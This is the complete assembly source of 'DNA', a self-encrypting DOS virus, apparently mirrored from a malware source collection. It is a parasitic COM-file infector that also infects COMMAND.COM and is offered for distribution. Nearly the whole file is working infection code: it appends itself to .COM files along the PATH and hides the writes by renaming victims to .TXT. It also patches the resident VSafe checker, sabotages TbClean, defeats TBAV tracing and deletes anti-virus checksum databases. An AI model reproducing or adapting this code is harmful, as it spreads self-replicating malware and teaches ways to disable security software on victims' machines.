mirror of
https://github.com/vxunderground/MalwareSourceCode
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538 lines
30 KiB
NASM
538 lines
30 KiB
NASM
;=============================================================================
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; Please feel free to distribute, but do NOT change and say it's your's!
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;=============================================================================
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; Introducing to you the source code of DNA. DNA is a partially resident
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; parasitic COM file infector including COMMAND.COM. The virus infects files
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; in a random way along the path. The infection routine is resident
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; during the run of the virus. The reason for this is that it is only then
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; possible to encrypt the infection routine whitin the virus. The routine
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; will be resident in the data area of the system so it will use no memory.
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; DNA does not contain a payload. Furthermore there are some routines to
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; delete CRC checkers and to disable some resident viruscheckers in memory.
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;
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; Greetings ,ThE wEiRd GeNiUs
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;-----------------------------------------------------------------------------
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; Assemble with TASM 2.0 or higher, Link with TLINK /T
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;-----------------------------------------------------------------------------
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CODE SEGMENT
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ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
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CRYPTLEN EQU BUFFER-CSTART ;Length to en/decrypt.
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VIRLEN EQU BUFFER-VSTART ;Length of virus.
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MINLEN EQU 1000 ;Min file length to infect.
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MAXLEN EQU 0F230h ;Max " " " "
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CR EQU 0Dh ;Return.
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LF EQU 0Ah ;Line feed.
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TAB EQU 09h ;Tab.
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TSR2LEN EQU BUFFER-INFECT ;Length of infection Interrupt.
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LENGTH EQU NOTENC-CSTART ;Length of encrypted code.
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ORG 0100h
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.RADIX 16
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;-----------------------------------------------------------------------------
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; Infected dummy program. (Only in 1st run)
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;-----------------------------------------------------------------------------
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START: JMP VSTART ;Jump to virus code.
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;-----------------------------------------------------------------------------
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; Begin of the virus code.
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;-----------------------------------------------------------------------------
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VSTART: CALL CHKDOS ;Confuse anti-viral progs.
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CALL CHKTIME ;It's hard to believe but this code
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JMP BEGIN ;stops tracing TBAV into the code!
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;-----------------------------------------------------------------------------
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CHKDOS: MOV AH,30h ;Get DOS version.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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CHKTIME:MOV AH,2Ch ;Get system time.
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INT 21h ;Call DOS.
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CMP DL,0 ;If zero,
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JE CHKTIME ;try again.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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VAL_1 DB 00h ;Encryption Value.
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;-----------------------------------------------------------------------------
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ENCRYP: CALL NEXTL ;-Get BP on address.
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NEXTL: POP BP ;/
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SUB BP,04 ;[BX]=decryption key.
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MOV DL,[BP] ;DL=[BX]
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LEA BX,[BP+OFFSET CSTART-VAL_1];De/en-crypt from here.
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CMP DL,0 ;Code Encrypted?
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JE NTENC ;Nope
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DECRYPT:MOV DH,DL ;
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MOV CX,CRYPTLEN ;Set counter.
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X_LOOP: XOR [BX],DL ;Xor the code on address BX.
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SUB DL,DH ;-To change form of scrambled code.
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SUB DH,02Eh ;/
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INC BX ;Increase address.
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LOOP X_LOOP ;Repeat until done.
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NTENC: RET ;Return to caller.
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;-----------------------------------------------------------------------------
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BEGIN: CALL ENCRYP ;Call decryption routine.
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;-----------------------------------------------------------------------------
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; From here the code will be encrypted.
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;-----------------------------------------------------------------------------
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CSTART: CALL BEGIN1 ;Same old trick.
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CALL RESBEG ;Restore begin.
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CALL CHKDRV ;Check drive & DOS version.
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CALL SAVEDIR ;Save startup directory.
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CALL INSTSR2 ;Place infection routine in memory.
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PUSH ES ;In the next sessions ES is modified.
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CALL INT24 ;NoErrorAllowed.
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CALL VSAFE ;Vsafe resident?
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POP ES ;Restore extra segment.
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CALL ENKEY ;Create new CRYPTKEY.
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CALL DTA ;Store old and give up new DTA addres.
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CMP BYTE PTR[BP+OFFSET COMSIGN],01h;Am I command.com?
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JE F_FIRST ;Yes, do not use the path.
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CALL FIND1 ;Determine how many path's are present.
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CALL RANDOM ;Random value for directory search.
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CALL FIND2 ;Find suitable directory.
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CALL CHDRIVE ;If it is on another drive.
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CALL GODIR ;Go to the selected directory.
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F_FIRST:MOV AH,4Eh ;Search for 1st *.COM
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MOV CX,110b ;Look for read only, system & hidden.
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LEA DX,[BP+OFFSET SPEC] ;Offset file specification.(*.COM)
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INT 21h ;Call DOS.
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JNC OPENF ;Exit if no file found.
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CALL EXIT1 ;No files found, quit.
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OPENF: CALL CHKCOM ;-Is it COMMAND.COM?
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CMP CX,00h ;/
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JNE NOCOM ;Yes, set COMSIGN
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MOV BYTE PTR[BP+OFFSET COMSIGN],01h;
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JMP YESCOM ;
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NOCOM: MOV BYTE PTR[BP+OFFSET COMSIGN],00h;
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YESCOM: CALL CHKINF ;Already infected?
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CALL ATTRIB ;Ask & clear file attributes.
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CALL RENAME ;Rename to *.TXT file.
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MOV AH,4Eh ;Search the name.TXT file.
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MOV CX,110b ;Read only, system & hidden.
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LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
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INT 21h ;Call DOS.
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MOV AX,3D02h ;Open file with read and write access.
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LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
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INT 21h ;Call DOS.
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MOV BYTE PTR[BP+OFFSET HANDLE],AL;Save file handle.
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CALL STIME ;Save file date & time.
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CHECK: MOV AH,3Fh ;Read begin of victim.
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MOV CX,3 ;Read Begin.
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LEA DX,[BP+OFFSET ORIGNL] ;Into offset original instructions.
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INT 21h ;Call DOS.
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JC CLOSE ;On error, quit.
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REPLACE:CALL BPOINT ;Move file pointer to end of victim.
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SUB AX,3 ;Calculate new jump.
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MOV WORD PTR[BP+NEWJMP+1],AX;Store new jump value.
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MOV AX,4200h ;Move file pointer to begin.
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XOR CX,CX ;Zero high nybble.
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XOR DX,DX ;Zero low nybble.
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INT 21h ;Call DOS.
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MOV AH,40h ;Write to file,
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MOV CX,3 ;3 Bytes.
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LEA DX,[BP+OFFSET NEWJMP] ;Offset new jump value.
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INT 21h ;Call DOS.
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CALL BPOINT ;Move file pointer to end.
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JMP INFEC ;Create encryption key.
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LETSGO: MOV AH,4Fh ;Find next.
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INT 21h ;Call DOS.
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JC EXIT ;On error, quit.
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JMP OPENF ;Open new victim.
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INFEC: MOV DL,[BP+OFFSET VAL_1] ;Encryption value into DL.
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INT 0D0h ;Neat way to infect a file!
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CLOSE: CALL RTIME ;Restore File time & date.
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MOV AH,3Eh ;Close file.
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INT 21h ;Call DOS.
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CALL RENAME2 ;Restore back to COM file.
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CALL RATTRIB ;Restore File attributes.
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;-----------------------------------------------------------------------------
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EXIT: CALL DELSTUF ;Delete CRC checkers.
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EXIT1: MOV AH,1Ah ;Restore old DTA.
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MOV DX,[BP+OFFSET OLD_DTA] ;Old DTA address.
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INT 21h ;Call DOS.
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EXIT2: MOV AH,0Eh ;Restore startup drive.
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MOV DL,BYTE PTR[BP+OFFSET OLDRV];Old drive code.
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INT 21h ;Call DOS.
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MOV AH,3Bh ;Goto startup directory,
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LEA DX,[BP+OFFSET BUFFER] ;that is stored here.
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INT 21h ;Call DOS.
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EXIT3: CALL RINTD0 ;Restore original INT D0
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CALL RINT24 ;Restore original INT 24
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EXIT4: MOV AX,100h ;Return address.
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PUSH AX ;Put it on stack.
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RET ;Pass control to HOST.
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;-----------------------------------------------------------------------------
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DUMEX: MOV DI,0100h ;This is a dummy exit, it screws up
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LEA SI,[BP+DEXIT] ;TbClean. In stead of cleaning the
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MOV CX,3 ;phile, it puts a program terminating
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REPNZ MOVSB ;interrupt in the beginning of the
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MOV AX,0100h ;victim, neat huh!
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PUSH AX ;
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RET ;
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;-----------------------------------------------------------------------------
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BETWEEN:MOV AH,3Eh ;Close the file.
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INT 21h ;Call DOS
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JMP LETSGO ;Find next file.
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CHKINF: MOV AX,3D00h ;Open file with only read acces.
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MOV DX,WORD PTR[BP+OFFSET NP];Offset filename.
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INT 21h ;Call DOS.
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MOV BX,AX ;File handle into BX.
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XOR CX,CX ;-
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XOR DX,DX ;/
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MOV AX,4202h ;Move file pointer to end.
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INT 21h ;Call DOS.
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SUB AX,VIRLEN ;
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MOV DX,AX ;
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MOV AX,4200h ;Move file pointer to vircode.
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INT 21h ;Call DOS.
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MOV AH,3Fh ;Read file.
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MOV CX,01h ;One Byte.
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LEA DX,[BP+OFFSET MARK1] ;Into this address.
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INT 21h ;Call DOS.
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CMP BYTE PTR [BP+OFFSET MARK1],0E8h; Is it infected?
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JE BETWEEN ;Yes, find another.
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CALL BPOINT ;Go to EOF.
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CMP AX,MAXLEN ;Is the file to long?
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JNB BETWEEN ;Yes, find another.
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CMP AX,MINLEN ;Is it to short?
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JBE BETWEEN ;Yes, find another.
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MOV AH,3Eh ;Close the file.
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INT 21h ;Call DOS
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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CHKDRV: CALL CHKDOS ;Check DOS version.
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CMP AL,01 ;
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JB DUMEX ;Screw up TbClean.
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CMP AL,05h ;Is it DOS 5.0 or higher?
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JNGE EXIT4 ;No, exit.
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MOV AH,19h ;Get drive code.
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INT 21h ;Call DOS.
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MOV BYTE PTR[BP+OFFSET OLDRV],AL;Save old drive code.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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RESBEG: LEA SI,[BP+OFFSET ORIGNL] ;Offset original begin.
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MOV DI,0100h ;Restore original instructions.
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MOV CX,3 ;Restore 3 bytes.
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REPNZ MOVSB ;Move them.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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CHKCOM: MOV CX,05 ;CX=len COMMAND.
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MOV DI,[BP+OFFSET NP] ;Offset found file.
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LEA SI,[BP+OFFSET COMMND] ;Offset COMMAND.
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REPZ CMPSB ;Compare the strings.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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RENAME: MOV CX,0Ch ; This section renames the
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MOV SI,WORD PTR[BP+OFFSET NP]; found and approved for
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LEA DI,WORD PTR[BP+OFFSET NEWNAM]; infection file to a
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REPNZ MOVSB ; *.TXT file. The reason for
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LEA BX,WORD PTR[BP+OFFSET NEWNAM-1];this is that VPROTECT from
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LPOINT: INC BX ; Intel has a rule based NLM.
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CMP BYTE PTR[BX],'.' ; If we write to a COM file
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JNE LPOINT ; VPROTECT gives an alarm
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MOV DI,BX ; message. However, if we
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MOV WORD PTR[BP+OFFSET TXTPOI],BX; write to a text file....
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LEA SI,[BP+OFFSET TXT] ; Pretty solution isn't it?
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MOVSW ;
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MOVSW ;
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MOV DX,WORD PTR[BP+OFFSET NP];
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LEA DI,WORD PTR[BP+OFFSET NEWNAM];
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MOV AH,56h ;Rename file function.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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RENAME2:LEA SI,[BP+OFFSET SPEC+1] ; In this section we
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MOV DI,WORD PTR[BP+OFFSET TXTPOI]; give the infected file
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MOVSW ; its old extention back.
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MOVSW ; (*.COM)
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MOV DX,WORD PTR[BP+OFFSET NP];
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LEA DI,WORD PTR[BP+OFFSET NEWNAM];
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MOV AH,56h ;Rename file function.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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ENKEY: CALL CHKTIME ;Get time.
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MOV BYTE PTR[BP+OFFSET VAL_1],DL;New encryption key.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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SAVEDIR:MOV BYTE PTR[BP+OFFSET BUFFER],5Ch;
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MOV DL,BYTE PTR[BP+OFFSET OLDRV];Drive code.
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INC DL ;DL=DL+1 as func 47 is different.
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MOV AH,47h ;Get current directory.
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LEA SI,[BP+OFFSET BUFFER+1] ;Store current directory.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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DTA: MOV AH,2Fh ;Get DTA address.
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INT 21h ;Call DOS.
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MOV WORD PTR[BP+OFFSET OLD_DTA],BX; Save here.
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LEA DX,[BP+OFFSET NEW_DTA] ;Offset new DTA address.
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MOV AH,1Ah ;Give up new DTA.
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INT 21 ;Call DOS.
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ADD DX,1Eh ;Filename pointer in DTA.
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MOV WORD PTR[BP+OFFSET NP],DX;Put in name pointer.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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INT24: MOV AX,3524h ;Get int 24 handler.
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INT 21h ;into [ES:BX].
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MOV WORD PTR[BP+OLDINT],BX ;Save it.
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MOV WORD PTR[BP+OLDINT+2],ES;
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MOV AH,25h ;Set new int 24 handler.
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LEA DX,[BP+OFFSET NEWINT] ;DS:DX->new handler.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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RINT24: PUSH DS ;Save data segment.
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MOV AX,2524h ;Restore int 24 handler
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LDS DX,[BP+OFFSET OLDINT] ;to original.
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INT 21h ;Call DOS.
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POP DS ;Restore data segment.
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RET ;Return to caller.
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;---------------------------------------------------------------------------
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RINTD0: PUSH DS ;Save data segment.
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MOV AX,25D0h ;Restore int D0 handler
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LDS DX,[BP+OFFSET INTD0] ;to original.
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INT 21h ;Call DOS.
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POP DS ;Restore data segment.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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VSAFE: MOV AX,3516h ;Get interrupt vector INT 16.
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INT 21h ;(Now we know in wich segment it is.)
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ADD BX,0364h ;Here we find a jump that we'll change.
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CMP WORD PTR[ES:BX],0945h ;Is it THE jump?
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JNE OK_9 ;No, already modified or not resident.
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MOV WORD PTR[ES:BX],086Dh ;Yes, modify it.
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OK_9: RET ;Return to caller. No Vsafe.
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;-----------------------------------------------------------------------------
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FIND1: MOV BYTE PTR[BP+OFFSET VAL_2],0FFh; This routine is derived from
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MOV BX,01h ; the VIENNA virus. (Why invent the
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FIND2: PUSH ES ; wheel twice?)
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PUSH DS ;- Save registers.
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MOV ES,DS:2CH ;
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MOV DI,0 ;ES:DI points to environment.
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FPATH: LEA SI,[BP+OFFSET PATH] ;Point to "PATH=" string in data area.
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LODSB ;
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MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long.
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REPNZ SCASB ;Search for first character.
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MOV CX,4 ;Check if path
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LOOP_2: LODSB ;is complete.
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SCASB ;
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JNZ FPATH ;If not all there, abort & start over.
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LOOP LOOP_2 ;Loop to check the next character.
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XCHG SI,DI ;Exchange registers.
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MOV CL,BYTE PTR[BP+OFFSET VAL_2];Random value in CL.
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PUSH ES ;\
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POP DS ;-) Get DS, ES on address.
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POP ES ;/
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OK_14: LEA DI,[BP+OFFSET NEW_DTA+50];Offset address path.
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OK_10: MOVSB ;Get name in path.
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MOV AL,[SI] ;
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CMP AL,0 ;Is it at the end?
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JE OK_11 ;Yes, replicate.
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CMP AL,3Bh ;Is it ';'?
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JNE OK_10 ;Nope, next letter.
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INC SI ;For next loop. ';'=';'+1.
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INC BX ;
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LOOP OK_14 ;Loop until random value = 0.
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OK_11: POP DS ;Restore data segment.
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MOV AL,0 ;Place space after the directory.
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MOV [DI],AL ;
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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DELSTUF:MOV BX,01h ;Set counter
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PUSH BX ;and push it.
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LEA DX,[BP+OFFSET MICRO] ;Is there a CHKLIST.MS file?
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JMP INTER ;Check it out.
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SECOND: LEA DX,[BP+OFFSET TBAV] ;Is there a ANTI-VIR.DAT file?
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INC BX ;Increase counter
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PUSH BX ;and push it.
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JMP INTER ;Check it out.
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THIRD: LEA DX,[BP+OFFSET CENTRAL] ;Is there a CHKLIST.CPS file?
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INC BX ;Increase counter
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PUSH BX ;and push it
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INTER: MOV AH,4Eh ;Find first matching entry.
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MOV CX,110b ;Search all attributes.
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INT 21h ;Call DOS.
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JC NODEL ;No match, find next.
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CALL ATTRIB ;Clear attributes.
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MOV AH,41h ;Delete file.
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INT 21h ;Call DOS.
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NODEL: POP BX ;Pop counter.
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CMP BX,01 ;Had the first one?
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JE SECOND ;Yes, do the second.
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CMP BX,02 ;Was it the second?
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JE THIRD ;Yes, do the third.
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RET ;Finished, return to caller.
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;-----------------------------------------------------------------------------
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CHDRIVE:MOV CX,0FFFFh ;Clear CX.
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MOV BL,'A'-1 ;AH=40
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OK_15: INC BL ;AH=41='A'
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INC CX ;CX=1
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CMP BL,BYTE PTR[BP+OFFSET NEW_DTA+50];New drive letter.
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JNE OK_15 ;Not the same, go again.
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MOV DL,CL ;Calculated the new drive code.
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MOV AH,0Eh ;Give up new drive code.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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RTIME: MOV AX,5701h ;Restore time & date.
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MOV CX,WORD PTR[BP+OFFSET TIME];Old time.
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MOV DX,WORD PTR[BP+OFFSET DATE];Old date.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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STIME: MOV AX,5700h ;Get file date & time.
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MOV BX,[BP+OFFSET HANDLE] ;File Handle.
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INT 21h ;Call DOS.
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MOV WORD PTR[BP+OFFSET TIME],CX;Store time.
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MOV WORD PTR[BP+OFFSET DATE],DX;Store date.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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BPOINT: XOR DX,DX ;Zero register.
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MOV AX,4202h ;Move file pointer to top.
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XOR CX,CX ;Zero register.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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ATTRIB: MOV DX,WORD PTR[BP+OFFSET NP];Offset in DTA.
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MOV AX,4300h ;Ask file attributes.
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INT 21h ;Call DOS.
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LEA BX,[BP+OFFSET ATTR] ;Save address for old attributes.
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MOV [BX],CX ;Save it.
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XOR CX,CX ;Clear file attributes.
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MOV AX,4301h ;Write file attributes.
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INT 21h ;Call DOS.
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JNC OK ;No error, proceed.
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CALL EXIT ;Oh Oh, error occured. Quit.
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OK: RET ;Return to caller.
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;-----------------------------------------------------------------------------
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RATTRIB:LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
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LEA BX,[BP+OFFSET ATTR] ;Offset address old attributes.
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MOV CX,[BX] ;Into CX.
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MOV AX,4301h ;Write old values back.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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GODIR: LEA DX,[BP+OFFSET NEW_DTA+52];Offset directory spec.
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MOV AH,3Bh ;Goto the directory.
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INT 21h ;Call DOS.
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RET ;Return to caller.
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;-----------------------------------------------------------------------------
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RANDOM: CALL CHKTIME ;Get system time.
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MOV CX,0 ;Figure this out by yourself.
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MOV AX,100d ;It is a random generator with
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OK_19: INC CX ;two variable inputs.
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SUB AX,BX ;A: How many dir's in the path.
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CMP AX,01d ;B: Random system time.
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JGE OK_19 ;With this values, we create a
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XOR BX,BX ;random value between 1 and A.
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OK_20: INC BX ;
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SUB DL,CL ;
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CMP DL,01d ;
|
|
JGE OK_20 ;
|
|
MOV BYTE PTR[BP+OFFSET VAL_2],BL;Save value.
|
|
RET ;Return to caller.
|
|
;-----------------------------------------------------------------------------
|
|
BEGIN1: PUSH SP ;
|
|
POP BX ;Everything is related to BP.
|
|
MOV BP,WORD PTR[BX] ;
|
|
SUB BP,0145h ;In first run BP=0
|
|
RET ;
|
|
;-----------------------------------------------------------------------------
|
|
NEWINT: MOV AL,03h ;New INT 24.
|
|
IRET ;No more write protect errors!
|
|
;-----------------------------------------------------------------------------
|
|
INSTSR2:PUSH ES ;-Save registers.
|
|
PUSH DS ;/
|
|
MOV AX,0DEDEh ;Resident check.
|
|
INT 21h ;Call DOS.
|
|
CMP AH,41h ;\
|
|
JNE NOBRO ;-Little Brother virus in memory?
|
|
CALL EXIT4 ;If resisent, do nothing.
|
|
NOBRO: MOV AX,3D3Dh ;Resident check.
|
|
INT 21h ;Call DOS.
|
|
CMP AX,1111h ;\
|
|
JNE NOGETP ;-Getpass! virus resident ?.
|
|
CALL EXIT4 ;If resident, quit.
|
|
NOGETP: MOV AX,35D0h ;Save old interrupt vector INT D0.
|
|
INT 21h ;Call DOS.
|
|
MOV WORD PTR[BP+OFFSET INTD0],BX
|
|
MOV WORD PTR[BP+OFFSET INTD0+2],ES
|
|
MOV AX,0044h ;
|
|
MOV ES,AX ;
|
|
MOV DI,0100h ;
|
|
LEA SI,[BP+OFFSET INFECT] ;Offset address infection routine.
|
|
MOV CX,TSR2LEN ;Length to install.
|
|
REP MOVSB ;Install it.
|
|
PUSH ES ;
|
|
POP DS ;
|
|
MOV AX,25D0h ;Give up new INT D0 vector.
|
|
MOV DX,0100h ;
|
|
INT 21h ;Call DOS.
|
|
POP DS ;
|
|
POP ES ;
|
|
RET ;Return to caller.
|
|
;-----------------------------------------------------------------------------
|
|
PATH DB 'PATH=' ;Used to find environment.
|
|
SPEC DB '*.COM',0 ;File search specification.
|
|
TXT DB '.TXT',0 ;Rename file specification.
|
|
OUTPUT DB 0 ;Output byte to printer.
|
|
TXTPOI DW 0 ;Pointer in specification.
|
|
MARK1 DB 0 ;Used for infection check.
|
|
VAL_2 DB 0 ;Random value for directory switching.
|
|
OLDRV DB 0 ;Old drive code.
|
|
BEGIN2 DW 0 ;
|
|
NWJMP1 DB 0EBh,0 ;
|
|
FLAGT DB 0 ;
|
|
COMMND DB 'COMM',0 ;
|
|
MICRO DB 'CHKLIST.MS',0 ;- Files to be deleted.
|
|
CENTRAL DB 'CHKLIST.CPS',0 ;/
|
|
TBAV DB 'ANTI-VIR.DAT',0 ;/
|
|
VIRNAME DB ' Wrong copied DNA = Evolution '
|
|
DB ' I am Life.'
|
|
DB ' Greetings ,ThE wEiRd GeNiUs '
|
|
OLD_DTA DW 0 ;Old DTA addres.
|
|
HANDLE DW 0 ;File handle.
|
|
COMSIGN DB 0 ;Command.com flag
|
|
TIME DB 2 DUP (?) ;File time.
|
|
DATE DB 2 DUP (?) ;File date.
|
|
ATTR DB 1 DUP (?),0 ;Attributes.
|
|
INTD0 DW 0,0 ;
|
|
NEWJMP DB 0E9h,0,0 ;Jump replacement.
|
|
ORIGNL DB 0CDh,020h,090h ;Original instrucitons.
|
|
DEXIT DB 0CDh,020h,090h ;Dummy exit instructions.
|
|
NEWNAM DB 0Dh DUP (?) ;New file name.
|
|
OLDINT DW 0 ;Old INT 24 vector.
|
|
NP DW ? ;New DTA address.
|
|
;-----------------------------------------------------------------------------
|
|
INFECT: PUSH BX ;Save file handle.
|
|
PUSH DX ;Save encryption key.
|
|
PUSH BX ;Save file handle.
|
|
CALL DNCRYPT ;Encrypt the virus code.
|
|
POP BX ;Restore file handle.
|
|
LEA DX,[BP+OFFSET VSTART] ;Begin here.
|
|
MOV CX,VIRLEN ;Write this many Bytes.
|
|
MOV AH,40h ;Write to file.
|
|
INT 21h ;Call DOS.
|
|
POP DX ;Restore encryption value.
|
|
CALL DNCRYPT ;Fix up the mess.
|
|
POP BX ;Restore file handle.
|
|
DUMMY: IRET ;Return to caller.
|
|
;-----------------------------------------------------------------------------
|
|
DNCRYPT:LEA BX,[BP+OFFSET CSTART] ;De/en-crypt from here.
|
|
MOV DH,DL ;
|
|
MOV CX,CRYPTLEN ;Set counter.
|
|
Y_LOOP: XOR [BX],DL ;Xor the code on address BX.
|
|
SUB DL,DH ;-To change form of scrambled code.
|
|
SUB DH,02Eh ;/
|
|
INC BX ;Increase address.
|
|
LOOP Y_LOOP ;Repeat until done.
|
|
NOTENC: RET ;Return to caller.
|
|
;-----------------------------------------------------------------------------
|
|
BUFFER: DB 64 DUP (?) ;Here we store directory info.
|
|
;-----------------------------------------------------------------------------
|
|
NEW_DTA: ;Here we put the DTA copy.
|
|
;-----------------------------------------------------------------------------
|
|
CODE ENDS
|
|
END START
|
|
;=============================================================================
|